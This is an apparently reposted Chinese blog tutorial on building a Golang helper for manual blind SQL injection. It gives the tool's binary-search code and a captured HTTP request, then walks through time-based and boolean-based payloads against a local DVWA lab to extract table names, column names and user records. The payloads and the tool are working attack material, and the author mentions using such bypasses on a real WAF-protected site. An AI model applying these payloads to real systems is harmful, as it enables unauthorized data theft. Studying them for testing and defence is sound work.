这里是普通文章模块栏目内容页
使用Golang打造一款自己的手工盲注辅助工具

想做这么一个小工具的想法来源于很久之前用awvs扫描到一个网站,存在延时盲注,带防火墙,环境是PHP+SQL SERVER,手工能绕过去,但是用sqlmap自动跑的时候,无法跑出任何的结果,最后手工测试出所有语句,写了一个py脚本结束了。有兴趣的话可以看下当时的文章记录。

前段时间又遇到了一个更奇葩的注入,数据库是PostgreSQL,存在防火墙,能绕过,但绕过的方式不固定,比如某条语句中有些的地方出现空格会被拦截,有些地方没有空格也会被拦截。这时候自动化工具就很难起作用,刚好最近在学习golang,就想着用golang来打造这么一款小工具,先来个效果图。

效果图

效果图

0X01:设计思路

程序语言采用的GO,界面是用的GitHub上的一个开源包(还不完善,不过小程序够了)。设计思路是使用二分法求ascii的方式来猜解字符。这里Http包的正确判断是采用长度和时间来进行判断,分别对应布尔型盲注和基于时间的盲注。两个文本框,上面的是修改过的Http原始包,下面那个是返回的结果。

程序一共内置了五个标志:<$qcount!> <$qlength!> <$length!> <$count!> <$qascii!> 

<$qcount!>:查询数量,用于查询表,字段,内容的记录数

<$qlength!>:对应每个数量的长度,同时需要配合使用<$count!>

<$qascii!> :对应每个字符的ascii码值,同时需要配合使用<$length!> 

关键代码如下:

func sqlInjectCountByTime(rawString string, rightTime float64, p *ui.ProgressBar) int { p.SetValue(0) a := 14.0 c := 0.0 f1 := 0 f2 := 10000 client := &http.Client{} var count int for { if f1 >= f2 { count = 6789 break } c = c + 1 showProgress(p, c, a) start := time.Now() mid := (f1 + f2) / 2 midStr := strconv.Itoa(mid) modifyString := strings.Replace(rawString, "<$qcount!>", midStr, 1) modifyRe := modifyRequest(modifyString) response, err := client.Do(modifyRe) elapsed := time.Now().Sub(start).Seconds() + 0.1 defer response.Body.Close() checkError(err) if elapsed >= rightTime { start2 := time.Now() mid2Str := strconv.Itoa(mid + 1) modify2String := strings.Replace(rawString, "<$qcount!>", mid2Str, 1) modify2Re := modifyRequest(modify2String) response2, err := client.Do(modify2Re) elapsed2 := time.Now().Sub(start2).Seconds() + 0.1 checkError(err) defer response2.Body.Close() if elapsed2 < rightTime { count = mid + 1 break } else { f1 = mid + 1 } } else { f2 = mid } } p.SetValue(100) return count }

这里是根据时间来查询记录数的f2是最大的数量,这里默认的10000。elapsed是发送包到接收包的时间差,通过该值来判断查询否正确。本地测试的时候,软件是运行在win10,web环境搭建在kali,不知道是不是由于系统时间函数的差异,当我sleep(3),有时候查询正确但接收到的时间差会小于3,为2.99907。无限接近于3,于是最后加了0.1秒来平衡误差,真实环境应该不会有这个问题。

这里举的是基于时间的判断,基于布尔的类似,将返回包的长度与用户设置的长度比较。基于布尔的判断,我增加的多线程的支持。基于时间的是使用的单线程,我担心多线程会出现判断不准确。

0X02:基于时间使用方法

这里测试采用的是DVWA,没有使用防护软件,使用的是基于时间的判断方式。

2.1 获取正确的包长度和时间差

注入语句:1′ and sleep(3) # 。

使用burp截取Http包:

GET /vulnerabilities/sqli/?id=1%27+and+sleep%283%29+%23&Submit=Submit HTTP/1.1 Host: 192.168.159.143 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: ?id=1%27+and+ascii%28substr%28database%28%29%2C1%2C1%29%29%3E97+%23&Submit=Submit Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2ig5k91gk2kuhhorjbeb210695; security=low Connection: close

然后将包放入程序中,点击“Send test packet!”:

点击“Send test packet!”

点击“Send test packet!”

可以看到返回的时间是3秒,长度是1421。

2.2 猜解表数

数据库名,可以通过database()函数来获取,这里我就不写了。判断方式勾选Time.

注入语句:1' and if((select count(table_name) from information_schema.tables where table_schema=database())>1,sleep(3),1) #。

使用<$qcount!>替换1:1' and if((select count(table_name) from information_schema.tables where table_schema=database())><$qcount!>,sleep(3),1) #。

#p#分页标题#e#

猜解表数

可以看到返回数为2,有两个表。这里程序会自动将数量2填入Count后的文本框中。

猜解表数

可以看到返回数为2,有两个表。这里程序会自动将数量2填入Count后的文本框中。

2.3 猜解每个表长度

注入语句:1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1),sleep(3),1) #。

替换后:' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit <$count!>,1),1))><$qlength!>),sleep(3),1) #。

这里的<$count!>标志告诉程序Count:2循环的时候,值该放在哪里。

猜解每个表长度

返回结果:Length: 9,5 表明第一个表长度为9,第二个表长度是5。结果将会自动填入Length文本框中。

猜解每个表长度

返回结果:Length: 9,5 表明第一个表长度为9,第二个表长度是5。结果将会自动填入Length文本框中。

2.4 猜解表名

注入语句:1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97),sleep(3),1) #。

替换语句:' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit   <$count!>,1),<$length!>,1))> <$qascii!> ),sleep(3),1) #。

猜解表名

返回结果:Content: guestbook users 然后根据感兴趣的表再进行查询。方式基本相同。

猜解表名

返回结果:Content: guestbook users 然后根据感兴趣的表再进行查询。方式基本相同。

2.5 猜解字段数

1' and if(((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())><$qcount!>),sleep(3),1) #

返回结果: Count: 8

2.6 猜解字段长度

1' and if((length(substr((select column_name from information_schema.columns where table_name='users' limit <$count!>,1),1))><$qlength!>),sleep(3),1) #

返回结果:Length: 7,10,9,4,8,6,10,12

2.7 猜解字段名

1' and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit <$count!>,1),<$length!>,1))><$qascii!>),sleep(3),1) #

返回结果:Content: user_id first_name last_name user password avatar last_login failed_login

0X03:基于布尔的使用方法:

这里的基于布尔的和基于时间的使用方式基本一样,记得将判断的语句勾选为Length。

3.1 通过语句求出正确的返回包长度

注入语句:' and (select count(user) from users)>0 #。

通过语句求出正确的返回包长度

这里返回的长度是1450,后面我们将通过这个值来对包的正确与否进行判断 。

通过语句求出正确的返回包长度

这里返回的长度是1450,后面我们将通过这个值来对包的正确与否进行判断 。

3.2 查询user字段的记录数

注入语句:1' and (select count(user) from users)>0 #。

替换后:1' and (select count(user) from users)><$qcount!> #。

3.3 查询user字段的长度

注入语句:1' and length(substr((select user from users limit 0,1),1))>0 #。

替换后:1' and length(substr((select user from users limit <$count!>,1),1))><$qlength!> #。

3.4 查询user字段的内容

注入语句:1' and ascii(substr((select user from users limit 0,1),1,1))>0 #

#p#分页标题#e#

替换后:1' and ascii(substr((select user from users limit <$count!>,1),<$length!>,1))><$qascii!> #。

查询user字段的内容

0X04:结语

查询user字段的内容

0X04:结语

工具差不多完成了,理论上是可以通用的,只要能使用ascii这种猜解的形式。每个语句我都是在burp那里手工测试没问题再替换过来注入的,这就使得使用起来很繁琐(虽然手注本来就很繁琐)。如果将程序写成burp的插件形式,可能会好使用很多。但是毕竟是为了练习一下go语言编程,所以目前也只能先这样了。用来练习手注也还不错。SQL注入这种东西,可遇不可求,只能说祝各位好运。

程序源码和下载地址:https://github.com/Releasel0ck/Blind-SQL-Injector。

Burp验证码识别插件地址: https://github.com/Releasel0ck/reCAPTCHA。

收藏
0
有帮助
0
没帮助
0